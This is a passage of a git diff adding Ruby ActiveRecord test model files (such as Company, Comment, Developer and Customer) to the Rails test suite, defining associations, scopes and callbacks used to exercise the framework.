+  has_many :authors_with_select, -> { select "authors.*, categorizations.post_id" }, through: :categorizations, source: :author
+
+  scope :general, -> { where(name: "General") }
+
+  # Should be delegated `ast` and `locked` to `arel`.
+  def self.ast
+    raise
+  end
+
+  def self.locked
+    raise
+  end
+end
+
+class SpecialCategory < Category
+end
diff --git a/activerecord/test/models/chef.rb b/activerecord/test/models/chef.rb
new file mode 100644
index 0000000000..ff528644bc
--- /dev/null
+++ b/activerecord/test/models/chef.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class Chef < ActiveRecord::Base
+  belongs_to :employable, polymorphic: true
+  has_many :recipes
+end
+
+class ChefList < Chef
+  belongs_to :employable_list, polymorphic: true
+end
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
new file mode 100644
index 0000000000..3d786f27eb
--- /dev/null
+++ b/activerecord/test/models/citation.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Citation < ActiveRecord::Base
+  belongs_to :reference_of, class_name: "Book", foreign_key: :book2_id
+end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
new file mode 100644
index 0000000000..2006e05fcf
--- /dev/null
+++ b/activerecord/test/models/club.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class Club < ActiveRecord::Base
+  has_one :membership
+  has_many :memberships, inverse_of: false
+  has_many :members, through: :memberships
+  has_one :sponsor
+  has_one :sponsored_member, through: :sponsor, source: :sponsorable, source_type: "Member"
+  belongs_to :category
+
+  has_many :favourites, -> { where(memberships: { favourite: true }) }, through: :memberships, source: :member
+
+  scope :general, -> { left_joins(:category).where(categories: { name: "General" }) }
+
+  private
+
+    def private_method
+      "I'm sorry sir, this is a *private* club, not a *pirate* club"
+    end
+end
+
+class SuperClub < ActiveRecord::Base
+  self.table_name = "clubs"
+
+  has_many :memberships, class_name: "SuperMembership", foreign_key: "club_id"
+  has_many :members, through: :memberships
+end
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
new file mode 100644
index 0000000000..52017dda42
--- /dev/null
+++ b/activerecord/test/models/college.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require_dependency "models/arunit2_model"
+require "active_support/core_ext/object/with_options"
+
+class College < ARUnit2Model
+  has_many :courses
+
+  with_options dependent: :destroy do |assoc|
+    assoc.has_many :students, -> { where(active: true) }
+  end
+end
diff --git a/activerecord/test/models/column.rb b/activerecord/test/models/column.rb
new file mode 100644
index 0000000000..d3cd419a00
--- /dev/null
+++ b/activerecord/test/models/column.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Column < ActiveRecord::Base
+  belongs_to :record
+end
diff --git a/activerecord/test/models/column_name.rb b/activerecord/test/models/column_name.rb
new file mode 100644
index 0000000000..c6047c507b
--- /dev/null
+++ b/activerecord/test/models/column_name.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class ColumnName < ActiveRecord::Base
+  self.table_name = "colnametests"
+end
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
new file mode 100644
index 0000000000..61c54a77a7
--- /dev/null
+++ b/activerecord/test/models/comment.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+class Comment < ActiveRecord::Base
+  scope :limit_by, lambda { |l| limit(l) }
+  scope :containing_the_letter_e, -> { where("comments.body LIKE '%e%'") }
+  scope :not_again, -> { where("comments.body NOT LIKE '%again%'") }
+  scope :for_first_post, -> { where(post_id: 1) }
+  scope :for_first_author, -> { joins(:post).where("posts.author_id" => 1) }
+  scope :created, -> { all }
+
+  belongs_to :post, counter_cache: true
+  belongs_to :author,   polymorphic: true
+  belongs_to :resource, polymorphic: true
+
+  has_many :ratings
+
+  belongs_to :first_post, foreign_key: :post_id
+  belongs_to :special_post_with_default_scope, foreign_key: :post_id
+
+  has_many :children, class_name: "Comment", foreign_key: :parent_id
+  belongs_to :parent, class_name: "Comment", counter_cache: :children_count
+
+  class ::OopsError < RuntimeError; end
+
+  module OopsExtension
+    def destroy_all(*)
+      raise OopsError
+    end
+  end
+
+  default_scope { extending OopsExtension }
+
+  scope :oops_comments, -> { extending OopsExtension }
+
+  # Should not be called if extending modules that having the method exists on an association.
+  def self.greeting
+    raise
+  end
+
+  def self.what_are_you
+    "a comment..."
+  end
+
+  def self.search_by_type(q)
+    where("#{QUOTED_TYPE} = ?", q)
+  end
+
+  def self.all_as_method
+    all
+  end
+  scope :all_as_scope, -> { all }
+
+  def to_s
+    body
+  end
+end
+
+class SpecialComment < Comment
+  default_scope { where(deleted_at: nil) }
+end
+
+class SubSpecialComment < SpecialComment
+end
+
+class VerySpecialComment < Comment
+end
+
+class CommentThatAutomaticallyAltersPostBody < Comment
+  belongs_to :post, class_name: "PostThatLoadsCommentsInAnAfterSaveHook", foreign_key: :post_id
+
+  after_save do |comment|
+    comment.post.update_attributes(body: "Automatically altered")
+  end
+end
+
+class CommentWithDefaultScopeReferencesAssociation < Comment
+  default_scope -> { includes(:developer).order("developers.name").references(:developer) }
+  belongs_to :developer
+end
+
+class CommentWithAfterCreateUpdate < Comment
+  after_create do
+    update_attributes(body: "bar")
+  end
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
new file mode 100644
index 0000000000..bbc5fc2b2d
--- /dev/null
+++ b/activerecord/test/models/company.rb
@@ -0,0 +1,190 @@
+# frozen_string_literal: true
+
+class AbstractCompany < ActiveRecord::Base
+  self.abstract_class = true
+end
+
+class Company < AbstractCompany
+  self.sequence_name = :companies_nonstd_seq
+
+  validates_presence_of :name
+
+  has_one :dummy_account, foreign_key: "firm_id", class_name: "Account"
+  has_many :contracts
+  has_many :developers, through: :contracts
+
+  scope :of_first_firm, lambda {
+    joins(account: :firm).
+    where("firms.id" => 1)
+  }
+
+  def arbitrary_method
+    "I am Jack's profound disappointment"
+  end
+
+  private
+
+    def private_method
+      "I am Jack's innermost fears and aspirations"
+    end
+
+    class SpecialCo < Company
+    end
+end
+
+module Namespaced
+  class Company < ::Company
+  end
+
+  class Firm < ::Company
+    has_many :clients, class_name: "Namespaced::Client"
+  end
+
+  class Client < ::Company
+  end
+end
+
+class Firm < Company
+  to_param :name
+
+  has_many :clients, -> { order "id" }, dependent: :destroy, before_remove: :log_before_remove, after_remove: :log_after_remove
+  has_many :unsorted_clients, class_name: "Client"
+  has_many :unsorted_clients_with_symbol, class_name: :Client
+  has_many :clients_sorted_desc, -> { order "id DESC" }, class_name: "Client"
+  has_many :clients_of_firm, -> { order "id" }, foreign_key: "client_of", class_name: "Client", inverse_of: :firm
+  has_many :clients_ordered_by_name, -> { order "name" }, class_name: "Client"
+  has_many :unvalidated_clients_of_firm, foreign_key: "client_of", class_name: "Client", validate: false
+  has_many :dependent_clients_of_firm, -> { order "id" }, foreign_key: "client_of", class_name: "Client", dependent: :destroy
+  has_many :exclusively_dependent_clients_of_firm, -> { order "id" }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
+  has_many :limited_clients, -> { limit 1 }, class_name: "Client"
+  has_many :clients_with_interpolated_conditions, ->(firm) { where "rating > #{firm.rating}" }, class_name: "Client"
+  has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, class_name: "Client"
+  has_many :clients_like_ms_with_hash_conditions, -> { where(name: "Microsoft").order("id") }, class_name: "Client"
+  has_many :plain_clients, class_name: "Client"
+  has_many :clients_using_primary_key, class_name: "Client",
+           primary_key: "name", foreign_key: "firm_name"
+  has_many :clients_using_primary_key_with_delete_all, class_name: "Client",
+           primary_key: "name", foreign_key: "firm_name", dependent: :delete_all
+  has_many :clients_grouped_by_firm_id, -> { group("firm_id").select("firm_id") }, class_name: "Client"
+  has_many :clients_grouped_by_name, -> { group("name").select("name") }, class_name: "Client"
+
+  has_one :account, foreign_key: "firm_id", dependent: :destroy, validate: true
+  has_one :unvalidated_account, foreign_key: "firm_id", class_name: "Account", validate: false
+  has_one :account_with_select, -> { select("id, firm_id") }, foreign_key: "firm_id", class_name: "Account"
+  has_one :readonly_account, -> { readonly }, foreign_key: "firm_id", class_name: "Account"
+  # added order by id as in fixtures there are two accounts for Rails Core
+  # Oracle tests were failing because of that as the second fixture was selected
+  has_one :account_using_primary_key, -> { order("id") }, primary_key: "firm_id", class_name: "Account"
+  has_one :account_using_foreign_and_primary_keys, foreign_key: "firm_name", primary_key: "name", class_name: "Account"
+  has_one :account_with_inexistent_foreign_key, class_name: "Account", foreign_key: "inexistent"
+  has_one :deletable_account, foreign_key: "firm_id", class_name: "Account", dependent: :delete
+
+  has_one :account_limit_500_with_hash_conditions, -> { where credit_limit: 500 }, foreign_key: "firm_id", class_name: "Account"
+
+  has_one :unautosaved_account, foreign_key: "firm_id", class_name: "Account", autosave: false
+  has_many :accounts
+  has_many :unautosaved_accounts, foreign_key: "firm_id", class_name: "Account", autosave: false
+
+  has_many :association_with_references, -> { references(:foo) }, class_name: "Client"
+
+  has_one :lead_developer, class_name: "Developer"
+  has_many :projects
+
+  def log
+    @log ||= []
+  end
+
+  private
+    def log_before_remove(record)
+      log << "before_remove#{record.id}"
+    end
+
+    def log_after_remove(record)
+      log << "after_remove#{record.id}"
+    end
+end
+
+class DependentFirm < Company
+  has_one :account, foreign_key: "firm_id", dependent: :nullify
+  has_many :companies, foreign_key: "client_of", dependent: :nullify
+  has_one :company, foreign_key: "client_of", dependent: :nullify
+end
+
+class RestrictedWithExceptionFirm < Company
+  has_one :account, -> { order("id") }, foreign_key: "firm_id", dependent: :restrict_with_exception
+  has_many :companies, -> { order("id") }, foreign_key: "client_of", dependent: :restrict_with_exception
+end
+
+class RestrictedWithErrorFirm < Company
+  has_one :account, -> { order("id") }, foreign_key: "firm_id", dependent: :restrict_with_error
+  has_many :companies, -> { order("id") }, foreign_key: "client_of", dependent: :restrict_with_error
+end
+
+class Client < Company
+  belongs_to :firm, foreign_key: "client_of"
+  belongs_to :firm_with_basic_id, class_name: "Firm", foreign_key: "firm_id"
+  belongs_to :firm_with_select, -> { select("id") }, class_name: "Firm", foreign_key: "firm_id"
+  belongs_to :firm_with_other_name, class_name: "Firm", foreign_key: "client_of"
+  belongs_to :firm_with_condition, -> { where "1 = ?", 1 }, class_name: "Firm", foreign_key: "client_of"
+  belongs_to :firm_with_primary_key, class_name: "Firm", primary_key: "name", foreign_key: "firm_name"
+  belongs_to :firm_with_primary_key_symbols, class_name: "Firm", primary_key: :name, foreign_key: :firm_name
+  belongs_to :readonly_firm, -> { readonly }, class_name: "Firm", foreign_key: "firm_id"
+  belongs_to :bob_firm, -> { where name: "Bob" }, class_name: "Firm", foreign_key: "client_of"
+  has_many :accounts, through: :firm, source: :accounts
+  belongs_to :account
+
+  validate do
+    firm
+  end
+
+  class RaisedOnSave < RuntimeError; end
+  attr_accessor :raise_on_save
+  before_save do
+    raise RaisedOnSave if raise_on_save
+  end
+
+  class RaisedOnDestroy < RuntimeError; end
+  attr_accessor :raise_on_destroy
+  before_destroy do
+    raise RaisedOnDestroy if raise_on_destroy
+  end
+
+  # Record destruction so we can test whether firm.clients.clear has
+  # is calling client.destroy, deleting from the database, or setting
+  # foreign keys to NULL.
+  def self.destroyed_client_ids
+    @destroyed_client_ids ||= Hash.new { |h, k| h[k] = [] }
+  end
+
+  before_destroy do |client|
+    if client.firm
+      Client.destroyed_client_ids[client.firm.id] << client.id
+    end
+    true
+  end
+
+  before_destroy :overwrite_to_raise
+
+  # Used to test that read and question methods are not generated for these attributes
+  def rating?
+    query_attribute :rating
+  end
+
+  def overwrite_to_raise
+  end
+end
+
+class ExclusivelyDependentFirm < Company
+  has_one :account, foreign_key: "firm_id", dependent: :delete
+  has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
+  has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(name: "BigShot Inc.") }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
+  has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", "BigShot Inc.") }, foreign_key: "client_of", class_name: "Client", dependent: :delete_all
+end
+
+class SpecialClient < Client
+end
+
+class VerySpecialClient < SpecialClient
+end
+
+require "models/account"
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
new file mode 100644
index 0000000000..52b7e06a63
--- /dev/null
+++ b/activerecord/test/models/company_in_module.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/with_options"
+
+module MyApplication
+  module Business
+    class Company < ActiveRecord::Base
+    end
+
+    class Firm < Company
+      has_many :clients, -> { order("id") }, dependent: :destroy
+      has_many :clients_sorted_desc, -> { order("id DESC") }, class_name: "Client"
+      has_many :clients_of_firm, -> { order "id" }, foreign_key: "client_of", class_name: "Client"
+      has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, class_name: "Client"
+      has_one :account, class_name: "MyApplication::Billing::Account", dependent: :destroy
+    end
+
+    class Client < Company
+      belongs_to :firm, foreign_key: "client_of"
+      belongs_to :firm_with_other_name, class_name: "Firm", foreign_key: "client_of"
+
+      class Contact < ActiveRecord::Base; end
+    end
+
+    class Developer < ActiveRecord::Base
+      has_and_belongs_to_many :projects
+      validates_length_of :name, within: (3..20)
+    end
+
+    class Project < ActiveRecord::Base
+      has_and_belongs_to_many :developers
+    end
+
+    module Prefixed
+      def self.table_name_prefix
+        "prefixed_"
+      end
+
+      class Company < ActiveRecord::Base
+      end
+
+      class Firm < Company
+        self.table_name = "companies"
+      end
+
+      module Nested
+        class Company < ActiveRecord::Base
+        end
+      end
+    end
+
+    module Suffixed
+      def self.table_name_suffix
+        "_suffixed"
+      end
+
+      class Company < ActiveRecord::Base
+      end
+
+      class Firm < Company
+        self.table_name = "companies"
+      end
+
+      module Nested
+        class Company < ActiveRecord::Base
+        end
+      end
+    end
+  end
+
+  module Billing
+    class Firm < ActiveRecord::Base
+      self.table_name = "companies"
+    end
+
+    module Nested
+      class Firm < ActiveRecord::Base
+        self.table_name = "companies"
+      end
+    end
+
+    class Account < ActiveRecord::Base
+      with_options(foreign_key: :firm_id) do |i|
+        i.belongs_to :firm, class_name: "MyApplication::Business::Firm"
+        i.belongs_to :qualified_billing_firm, class_name: "MyApplication::Billing::Firm"
+        i.belongs_to :unqualified_billing_firm, class_name: "Firm"
+        i.belongs_to :nested_qualified_billing_firm, class_name: "MyApplication::Billing::Nested::Firm"
+        i.belongs_to :nested_unqualified_billing_firm, class_name: "Nested::Firm"
+      end
+
+      validate :check_empty_credit_limit
+
+      private
+
+        def check_empty_credit_limit
+          errors.add("credit_card", :blank) if credit_card.blank?
+        end
+    end
+  end
+end
diff --git a/activerecord/test/models/computer.rb b/activerecord/test/models/computer.rb
new file mode 100644
index 0000000000..582b4a38b5
--- /dev/null
+++ b/activerecord/test/models/computer.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Computer < ActiveRecord::Base
+  belongs_to :developer, foreign_key: "developer"
+end
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
new file mode 100644
index 0000000000..6e02ff199b
--- /dev/null
+++ b/activerecord/test/models/contact.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module ContactFakeColumns
+  def self.extended(base)
+    base.class_eval do
+      establish_connection(adapter: "fake")
+
+      connection.data_sources = [table_name]
+      connection.primary_keys = {
+        table_name => "id"
+      }
+
+      column :id,             :integer
+      column :name,           :string
+      column :age,            :integer
+      column :avatar,         :binary
+      column :created_at,     :datetime
+      column :awesome,        :boolean
+      column :preferences,    :string
+      column :alternative_id, :integer
+
+      serialize :preferences
+
+      belongs_to :alternative, class_name: "Contact"
+    end
+  end
+
+  # mock out self.columns so no pesky db is needed for these tests
+  def column(name, sql_type = nil, options = {})
+    connection.merge_column(table_name, name, sql_type, options)
+  end
+end
+
+class Contact < ActiveRecord::Base
+  extend ContactFakeColumns
+end
+
+class ContactSti < ActiveRecord::Base
+  extend ContactFakeColumns
+  column :type, :string
+
+  def type; "ContactSti" end
+end
diff --git a/activerecord/test/models/content.rb b/activerecord/test/models/content.rb
new file mode 100644
index 0000000000..14bbee53d8
--- /dev/null
+++ b/activerecord/test/models/content.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class Content < ActiveRecord::Base
+  self.table_name = "content"
+  has_one :content_position, dependent: :destroy
+
+  def self.destroyed_ids
+    @destroyed_ids ||= []
+  end
+
+  before_destroy do |object|
+    Content.destroyed_ids << object.id
+  end
+end
+
+class ContentWhichRequiresTwoDestroyCalls < ActiveRecord::Base
+  self.table_name = "content"
+  has_one :content_position, foreign_key: "content_id", dependent: :destroy
+
+  after_initialize do
+    @destroy_count = 0
+  end
+
+  before_destroy do
+    @destroy_count += 1
+    if @destroy_count == 1
+      throw :abort
+    end
+  end
+end
+
+class ContentPosition < ActiveRecord::Base
+  belongs_to :content, dependent: :destroy
+
+  def self.destroyed_ids
+    @destroyed_ids ||= []
+  end
+
+  before_destroy do |object|
+    ContentPosition.destroyed_ids << object.id
+  end
+end
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
new file mode 100644
index 0000000000..9454217e8d
--- /dev/null
+++ b/activerecord/test/models/contract.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class Contract < ActiveRecord::Base
+  belongs_to :company
+  belongs_to :developer
+  belongs_to :firm, foreign_key: "company_id"
+
+  before_save :hi
+  after_save :bye
+
+  attr_accessor :hi_count, :bye_count
+
+  def hi
+    @hi_count ||= 0
+    @hi_count += 1
+  end
+
+  def bye
+    @bye_count ||= 0
+    @bye_count += 1
+  end
+end
diff --git a/activerecord/test/models/country.rb b/activerecord/test/models/country.rb
new file mode 100644
index 0000000000..0c84a40de2
--- /dev/null
+++ b/activerecord/test/models/country.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Country < ActiveRecord::Base
+  self.primary_key = :country_id
+
+  has_and_belongs_to_many :treaties
+end
diff --git a/activerecord/test/models/course.rb b/activerecord/test/models/course.rb
new file mode 100644
index 0000000000..4f346124ea
--- /dev/null
+++ b/activerecord/test/models/course.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+require_dependency "models/arunit2_model"
+
+class Course < ARUnit2Model
+  belongs_to :college
+  has_many :entrants
+end
diff --git a/activerecord/test/models/customer.rb b/activerecord/test/models/customer.rb
new file mode 100644
index 0000000000..524a9d7bd9
--- /dev/null
+++ b/activerecord/test/models/customer.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+class Customer < ActiveRecord::Base
+  cattr_accessor :gps_conversion_was_run
+
+  composed_of :address, mapping: [ %w(address_street street), %w(address_city city), %w(address_country country) ], allow_nil: true
+  composed_of :balance, class_name: "Money", mapping: %w(balance amount), converter: Proc.new(&:to_money)
+  composed_of :gps_location, allow_nil: true
+  composed_of :non_blank_gps_location, class_name: "GpsLocation", allow_nil: true, mapping: %w(gps_location gps_location),
+              converter: lambda { |gps| self.gps_conversion_was_run = true; gps.blank? ? nil : GpsLocation.new(gps) }
+  composed_of :fullname, mapping: %w(name to_s), constructor: Proc.new { |name| Fullname.parse(name) }, converter: :parse
+  composed_of :fullname_no_converter, mapping: %w(name to_s), class_name: "Fullname"
+end
+
+class Address
+  attr_reader :street, :city, :country
+
+  def initialize(street, city, country)
+    @street, @city, @country = street, city, country
+  end
+
+  def close_to?(other_address)
+    city == other_address.city && country == other_address.country
+  end
+
+  def ==(other)
+    other.is_a?(self.class) && other.street == street && other.city == city && other.country == country
+  end
+end
+
+class Money
+  attr_reader :amount, :currency
+
+  EXCHANGE_RATES = { "USD_TO_DKK" => 6, "DKK_TO_USD" => 0.6 }
+
+  def initialize(amount, currency = "USD")
+    @amount, @currency = amount, currency
+  end
+
+  def exchange_to(other_currency)
+    Money.new((amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor, other_currency)
+  end
+end
+
+class GpsLocation
+  attr_reader :gps_location
+
+  def initialize(gps_location)
+    @gps_location = gps_location
+  end
+
+  def latitude
+    gps_location.split("x").first
+  end
+
+  def longitude
+    gps_location.split("x").last
+  end
+
+  def ==(other)
+    latitude == other.latitude && longitude == other.longitude
+  end
+end
+
+class Fullname
+  attr_reader :first, :last
+
+  def self.parse(str)
+    return nil unless str
+
+    if str.is_a?(Hash)
+      new(str[:first], str[:last])
+    else
+      new(*str.to_s.split)
+    end
+  end
+
+  def initialize(first, last = nil)
+    @first, @last = first, last
+  end
+
+  def to_s
+    "#{first} #{last.upcase}"
+  end
+end
diff --git a/activerecord/test/models/customer_carrier.rb b/activerecord/test/models/customer_carrier.rb
new file mode 100644
index 0000000000..6cb9d5239d
--- /dev/null
+++ b/activerecord/test/models/customer_carrier.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class CustomerCarrier < ActiveRecord::Base
+  cattr_accessor :current_customer
+
+  belongs_to :customer
+  belongs_to :carrier
+
+  default_scope -> {
+    if current_customer
+      where(customer: current_customer)
+    else
+      all
+    end
+  }
+end
diff --git a/activerecord/test/models/dashboard.rb b/activerecord/test/models/dashboard.rb
new file mode 100644
index 0000000000..d25ceeafb1
--- /dev/null
+++ b/activerecord/test/models/dashboard.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Dashboard < ActiveRecord::Base
+  self.primary_key = :dashboard_id
+end
diff --git a/activerecord/test/models/default.rb b/activerecord/test/models/default.rb
new file mode 100644
index 0000000000..90f1046d87
--- /dev/null
+++ b/activerecord/test/models/default.rb
@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+class Default < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/department.rb b/activerecord/test/models/department.rb
new file mode 100644
index 0000000000..868b9bf4bf
--- /dev/null
+++ b/activerecord/test/models/department.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class Department < ActiveRecord::Base
+  has_many :chefs
+  belongs_to :hotel
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
new file mode 100644
index 0000000000..56aafca60b
--- /dev/null
+++ b/activerecord/test/models/developer.rb
@@ -0,0 +1,270 @@
+# frozen_string_literal: true
+
+require "ostruct"
+
+module DeveloperProjectsAssociationExtension2
+  def find_least_recent
+    order("id ASC").first
+  end
+end
+
+class Developer < ActiveRecord::Base
+  self.ignored_columns = %w(first_name last_name)
+
+  has_and_belongs_to_many :projects do
+    def find_most_recent
+      order("id DESC").first
+    end
+  end
+
+  belongs_to :mentor
+
+  accepts_nested_attributes_for :projects
+
+  has_and_belongs_to_many :shared_computers, class_name: "Computer"
+
+  has_and_belongs_to_many :projects_extended_by_name,
+      -> { extending(DeveloperProjectsAssociationExtension) },
+      class_name: "Project",
+      join_table: "developers_projects",
+      association_foreign_key: "project_id"
+
+  has_and_belongs_to_many :projects_extended_by_name_twice,
+      -> { extending(DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2) },
+      class_name: "Project",
+      join_table: "developers_projects",
+      association_foreign_key: "project_id"
+
+  has_and_belongs_to_many :projects_extended_by_name_and_block,
+      -> { extending(DeveloperProjectsAssociationExtension) },
+      class_name: "Project",
+      join_table: "developers_projects",
+      association_foreign_key: "project_id" do
+        def find_least_recent
+          order("id ASC").first
+        end
+      end
+
+  has_and_belongs_to_many :special_projects, join_table: "developers_projects", association_foreign_key: "project_id"
+  has_and_belongs_to_many :sym_special_projects,
+                          join_table: :developers_projects,
+                          association_foreign_key: "project_id",
+                          class_name: "SpecialProject"
+
+  has_many :audit_logs
+  has_many :contracts
+  has_many :firms, through: :contracts, source: :firm
+  has_many :comments, ->(developer) { where(body: "I'm #{developer.name}") }
+  has_many :ratings, through: :comments
+  has_one :ship, dependent: :nullify
+
+  belongs_to :firm
+  has_many :contracted_projects, class_name: "Project"
+
+  scope :jamises, -> { where(name: "Jamis") }
+
+  validates_inclusion_of :salary, in: 50000..200000
+  validates_length_of    :name, within: 3..20
+
+  before_create do |developer|
+    developer.audit_logs.build message: "Computer created"
+  end
+
+  attr_accessor :last_name
+  define_attribute_method "last_name"
+
+  def log=(message)
+    audit_logs.build message: message
+  end
+
+  after_find :track_instance_count
+  cattr_accessor :instance_count
+
+  def track_instance_count
+    self.class.instance_count ||= 0
+    self.class.instance_count += 1
+  end
+  private :track_instance_count
+end
+
+class AuditLog < ActiveRecord::Base
+  belongs_to :developer, validate: true
+  belongs_to :unvalidated_developer, class_name: "Developer"
+end
+
+class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, join_table: "developers_projects", foreign_key: "developer_id"
+  before_destroy :raise_if_projects_empty!
+
+  def raise_if_projects_empty!
+    raise if projects.empty?
+  end
+end
+
+class DeveloperWithSelect < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope { select("name") }
+end
+
+class DeveloperWithIncludes < ActiveRecord::Base
+  self.table_name = "developers"
+  has_many :audit_logs, foreign_key: :developer_id
+  default_scope { includes(:audit_logs) }
+end
+
+class DeveloperFilteredOnJoins < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
+
+  def self.default_scope
+    joins(:projects).where(projects: { name: "Active Controller" })
+  end
+end
+
+class DeveloperOrderedBySalary < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope { order("salary DESC") }
+
+  scope :by_name, -> { order("name DESC") }
+end
+
+class DeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope { where("name = 'David'") }
+end
+
+class LazyLambdaDeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope lambda { where(name: "David") }
+end
+
+class LazyBlockDeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope { where(name: "David") }
+end
+
+class CallableDeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+  default_scope OpenStruct.new(call: where(name: "David"))
+end
+
+class ClassMethodDeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+
+  def self.default_scope
+    where(name: "David")
+  end
+end
+
+class ClassMethodReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+  scope :david, -> { where(name: "David") }
+
+  def self.default_scope
+    david
+  end
+end
+
+class LazyBlockReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
+  self.table_name = "developers"
+  scope :david, -> { where(name: "David") }
+  default_scope { david }
+end
+
+class DeveloperCalledJamis < ActiveRecord::Base
+  self.table_name = "developers"
+
+  default_scope { where(name: "Jamis") }
+  scope :poor, -> { where("salary < 150000") }
+  scope :david, -> { where name: "David" }
+  scope :david2, -> { unscoped.where name: "David" }
+end
+
+class PoorDeveloperCalledJamis < ActiveRecord::Base
+  self.table_name = "developers"
+
+  default_scope -> { where(name: "Jamis", salary: 50000) }
+end
+
+class InheritedPoorDeveloperCalledJamis < DeveloperCalledJamis
+  self.table_name = "developers"
+
+  default_scope -> { where(salary: 50000) }
+end
+
+class MultiplePoorDeveloperCalledJamis < ActiveRecord::Base
+  self.table_name = "developers"
+
+  default_scope -> { where(name: "Jamis") }
+  default_scope -> { where(salary: 50000) }
+end
+
+module SalaryDefaultScope
+  extend ActiveSupport::Concern
+
+  included { default_scope { where(salary: 50000) } }
+end
+
+class ModuleIncludedPoorDeveloperCalledJamis < DeveloperCalledJamis
+  self.table_name = "developers"
+
+  include SalaryDefaultScope
+end
+
+class EagerDeveloperWithDefaultScope < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
+
+  default_scope { includes(:projects) }
+end
+
+class EagerDeveloperWithClassMethodDefaultScope < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
+
+  def self.default_scope
+    includes(:projects)
+  end
+end
+
+class EagerDeveloperWithLambdaDefaultScope < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
+
+  default_scope lambda { includes(:projects) }
+end
+
+class EagerDeveloperWithBlockDefaultScope < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
+
+  default_scope { includes(:projects) }
+end
+
+class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base
+  self.table_name = "developers"
+  has_and_belongs_to_many :projects, -> { order("projects.id") }, foreign_key: "developer_id", join_table: "developers_projects"
+
+  default_scope OpenStruct.new(call: includes(:projects))
+end
+
+class ThreadsafeDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+
+  def self.default_scope
+    Thread.current[:default_scope_delay].call
+    limit(1)
+  end
+end
+
+class CachedDeveloper < ActiveRecord::Base
+  self.table_name = "developers"
+  self.cache_timestamp_format = :number
+end
+
+class DeveloperWithIncorrectlyOrderedHasManyThrough < ActiveRecord::Base
+  self.table_name = "developers"
+  has_many :companies, through: :contracts
+  has_many :contracts, foreign_key: :developer_id
+end
diff --git a/activerecord/test/models/dog.rb b/activerecord/test/models/dog.rb
new file mode 100644
index 0000000000..75d284ac25
--- /dev/null
+++ b/activerecord/test/models/dog.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Dog < ActiveRecord::Base
+  belongs_to :breeder, class_name: "DogLover", counter_cache: :bred_dogs_count
+  belongs_to :trainer, class_name: "DogLover", counter_cache: :trained_dogs_count
